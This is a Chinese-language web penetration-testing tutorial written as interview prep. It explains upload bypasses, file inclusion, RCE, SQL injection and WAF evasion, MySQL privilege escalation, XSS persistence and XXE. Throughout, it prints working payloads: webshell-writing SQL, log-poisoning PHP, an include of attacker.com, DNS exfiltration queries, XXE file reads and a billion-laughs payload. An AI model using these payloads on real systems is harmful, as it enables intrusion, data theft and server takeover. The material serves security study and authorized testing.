Web 漏洞面试题深度拆解:从漏洞成因到实战
字数 5194 2025-12-25 12:10:39
Web漏洞深度解析与实战指南
文件上传漏洞
绕过手法详解
客户端JS绕过
原理:仅在前端检查文件类型,未在后端进行二次验证
绕过方法:
- 禁用JavaScript:在浏览器中禁用JavaScript,或使用BurpSuite修改文件名后缀
- 抓包修改:上传合法图片文件后,使用Burp Suite拦截数据包,将文件名修改为恶意后缀
MIME类型绕过
原理:服务器仅检查Content-Type字段验证文件类型
绕过方法:
- 修改Content-Type:将恶意文件的Content-Type从application/octet-stream修改为image/jpeg
文件头内容检测绕过(魔术字节)
技术:制作"图片马"
实现步骤:
- 创建最小图片文件(1.jpg)和恶意文件(shell.php)
- 使用命令合并:
copy 1.jpg/b + shell.php/a webshell.jpg - 结合文件包含漏洞执行:
include('webshell.jpg')
文件名、路径绕过
黑名单绕过技术:
- 大小写绕过:shell.Php、shell.pHP
- 文件后缀加空格或点:shell.php (空格)、shell.php.(点)
- 双重扩展名:shell.php.jpg
- 特殊字符:shell.php%00.jpg(00截断)
白名单绕过技术:
- Apache解析漏洞:配置AddHandler php5-script .jpg
- IIS 6.0目录解析:/xx.asp/shell.jpg
- IIS 7.0/7.5:web.config配置文件解析漏洞
竞争条件(Race Condition)
原理:利用文件上传与安全检查的时间差
利用步骤:
- 上传包含恶意代码的脚本文件
- 在文件被删除前快速访问执行
- 恶意脚本创建持久化Webshell
文件包含漏洞
协议利用详解
本地文件包含(LFI)协议
- file://:直接引用本地文件系统文件
- 路径遍历:利用
../访问Web根目录外敏感文件
远程文件包含(RFI)协议
前提条件:allow_url_include和allow_url_fopen均开启
- allow_url_fopen:允许文件操作函数访问远程URL资源
- allow_url_include:允许包含函数包含远程文件(高危)
PHP伪协议利用
php://filter:读取PHP文件源码,获取敏感信息
php://input:从POST请求体读取数据并执行
data://:在URL中直接嵌入数据执行
phar://:用于反序列化攻击,可改为任意后缀
拿Shell技术
本地文件包含拿Shell
日志文件Getshell:
- 注入恶意代码到access.log:
GET /<?php system('whoami');?> - 包含日志文件:
include('/var/log/apache2/access.log')
Session文件拿Shell:
- 控制Session值注入恶意代码
- 通过PHPSESSID获取Session文件路径
- 包含Session文件执行代码
/proc/self/environ拿Shell:
- 设置恶意User-Agent头
- 包含环境变量文件执行代码
远程文件包含拿Shell
- 制作Webshell文件托管在攻击服务器
- 启动HTTP服务:
python -m http.server 80 - 远程包含执行:
include('http://attacker.com/shell.txt')
远程代码执行(RCE)
漏洞原理与区别
命令执行:操作系统层面执行系统命令
代码执行:编程语言解释器层面执行代码
利用其他漏洞实现RCE
SQL注入转RCE
- MySQL root权限调用sys_exec()
- Payload:
select sys_exec('ls /etc');
SSTI转RCE
- 漏洞代码:
return render_template_string("Hello " + name) - Payload:
{{ __import__('os').popen('ls').read() }}
XXE转RCE
- 条件:支持expect协议
- Payload:
<!ENTITY xxe SYSTEM "expect://id">
代码执行函数汇总
PHP危险函数
- 代码执行:eval()、assert()、preg_replace()(/e模式)
- 命令执行:system()、exec()、shell_exec()、passthru()
Python危险函数
- 代码执行:exec()、eval()
- 命令执行:os.system()、subprocess.call()
Java危险函数
- 代码执行:ScriptEngine.eval()、Runtime.exec()
RCE防御措施
- 输入严格过滤:白名单限制字符/命令
- 避免直接拼接:使用安全API参数化调用
- 最小权限运行:应用程序以低权限用户运行
- 禁用危险函数:通过php.ini的disable_functions禁用
SQL注入高级技巧
WAF绕过技术
请求头注入点
- User-Agent:
' OR 1=1-- - X-Forwarded-For:记录真实IP的头部
- Cookie:会话信息参与SQL查询
- Referer:来源页面信息利用
单引号过滤绕过
- 双引号替换:
id="1" - 十六进制编码:
id=0x27206f7220313d31202d2d20 - 宽字节注入:利用GBK编码
%df吃掉转义字符 - 反斜线绕过:利用
\闭合addslashes添加的转义
盲注过滤if绕过
替代技术:
- CASE WHEN语句:
CASE WHEN condition THEN value1 ELSE value2 END - UNION+错误信息:利用UNION触发自定义错误
- 位运算和LIKE:逐位判断数据
- BENCHMARK()函数:造成可控延时
- GET_LOCK()函数:利用锁等待实现时间盲注
无回显利用技术
DNSLOG构造
MySQL/MariaDB:
- LOAD_FILE()结合UNC路径:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT DATABASE()),'.dnslog.com\\test'))
SQL Server:
- xp_cmdshell执行ping:
EXEC xp_cmdshell 'ping ' + (SELECT DB_NAME()) + '.dnslog.com'
PostgreSQL:
- 利用DNS查询特性:
SELECT * FROM users WHERE id=1 AND (SELECT pg_send_query('SELECT * FROM ' || (SELECT version()) || '.dnslog.com'))
写Shell条件与技术
必要条件
- File权限:具备LOAD_FILE()、INTO OUTFILE等文件操作权限
- 可写路径:目标路径对Web服务器可写
- 无WAF拦截:无强大的Web应用防火墙
MySQL写Shell
SELECT '<?php system($_GET["cmd"]);?>'
INTO OUTFILE '/var/www/html/shell.php'
SQL Server写Shell
EXEC xp_cmdshell 'echo ^<?php system($_GET["cmd"]);?^> > C:\inetpub\wwwroot\shell.php'
高级提权技术
MySQL提权方法
UDF提权
前提条件:
- CREATE FUNCTION和FILE权限
- 知晓MySQL插件目录
- 版本架构匹配的UDF库文件
攻击步骤:
- 上传恶意UDF库文件到插件目录
- 注册自定义函数:
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.so' - 执行系统命令:
SELECT sys_exec('id')
MOF提权(仅Windows)
原理:利用WMI服务自动加载MOF文件
攻击步骤:
- 编写恶意MOF文件包含命令执行逻辑
- 写入系统MOF目录:
SELECT ... INTO OUTFILE 'C:/windows/system32/wbem/mof/hack.mof' - 系统自动加载执行
绕过disable_functions限制
成功率最高方法:LD_PRELOAD劫持
原理:上传自定义共享库,通过putenv预加载劫持系统函数
条件:putenv和mail等函数未被禁用
其他绕过方法
- PHP扩展漏洞:利用imap、gd等扩展的命令注入
- FFI扩展:直接调用系统函数
- Windows COM组件:通过COM("WScript.Shell")调用命令
XSS深度利用
持久化控制技术
XSS劫持管理员会话
- 在管理员常访问页面注入恶意JS
- 窃取cookie、sessionStorage等会话信息
- 伪造管理员身份登录
后台管理页面后门注入
- 获取后台访问权限
- 注入自动化操作脚本
- 创建新管理员账户或修改配置
WebSocket连接劫持
- 注入WebSocket劫持代码
- 监控LOCALstorage标志
- 静默加载远程执行脚本
浏览器屏幕截图
- 利用html2canvas.js库
- 截取DOM元素转换为图片数据
- 发送到攻击服务器实时监控
localStorage持久化后门
- 通过XSS将恶意代码存入localStorage
- 在主JS文件中添加检查代码
- 实现持久化执行
内网渗透利用
端口扫描与服务识别
- 利用``标签加载内网IP和端口
- 根据onerror/onload事件判断端口状态
- 通过响应头识别服务类型和版本
内网设备攻击
- 利用CSRF漏洞修改路由器密码
- 攻击存在默认凭证的管理系统
- 利用已知漏洞攻击内网服务
XXE漏洞利用
基本攻击向量
文件读取
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
拒绝服务攻击
十亿笑脸攻击:
<!DOCTYPE data [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<data>&lol3;</data>
内网端口扫描
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "http://192.168.1.1:80/">
]>
<data>&xxe;</data>
盲注XXE技术
带外数据提取
- 攻击服务器托管恶意DTD文件
- 目标服务器解析XML时请求外部DTD
- 通过HTTP请求带出文件内容
错误信息利用
- 利用参数实体触发解析错误
- 通过错误信息带出敏感数据
- 适用于无法直接外传数据的场景
DNSlog数据提取
- 利用DNS查询子域名带出数据
- 适用于HTTP协议被过滤的环境
- 通过DNS日志获取命令执行结果
数据库特性与区别
MySQL版本差异
5.0以上版本
- 存在information_schema数据库
- 方便枚举数据库结构
- 支持更好的并发控制
5.0以下版本
- 无information_schema数据库
- 依赖盲注和字典攻击
- 并发控制机制相对简单
数据库识别技术
报错信息识别
- MySQL:
You have an error in your SQL syntax - SQL Server:
Microsoft OLE DB Provider - Oracle:
ORA-01756: quoted string not properly terminated - PostgreSQL:
PostgreSQL query failed
函数语法差异
字符串拼接:
- MySQL:
concat('a','b') - SQL Server:
'a'+'b' - Oracle:
'a'||'b'
注释符号:
- MySQL/PostgreSQL:
--、# - SQL Server/Oracle:
--
MySQL变量系统
用户变量(@)
- 作用域:当前会话有效
- 用途:存储临时数据,在多条SQL间传递值
- 示例:
SET @var_name = value;
系统变量(@@)
- 全局变量(@@global):影响所有会话
- 会话变量(@@session):仅影响当前会话
- 用途:管理和调整数据库配置
实战技巧与工具使用
SQLMap脚本利用
编码混淆脚本
- charencode.py:URL编码绕过
- randomcase.py:关键字大小写随机化
- space2comment.py:空格替换为注释
特定WAF绕过
- modsecurityzeroversioned.py:绕过ModSecurity
- xforwardedfor.py:伪造X-Forwarded-For头
- sp_password.py:绕过MS-SQL Server日志记录
数据提取与利用
ASP数据库利用
- 使用Microsoft Access打开.mdb文件
- 查看用户表和密码字段
- 识别哈希类型并破解
端口扫描结果利用
- 识别开放服务类型
- 尝试默认凭证登录
- 利用已知漏洞攻击
本教学文档全面覆盖了Web安全中常见的漏洞类型、利用技术和防御措施,为安全研究人员和渗透测试人员提供了完整的技术参考。在实际测试中,请确保获得合法授权,遵守相关法律法规。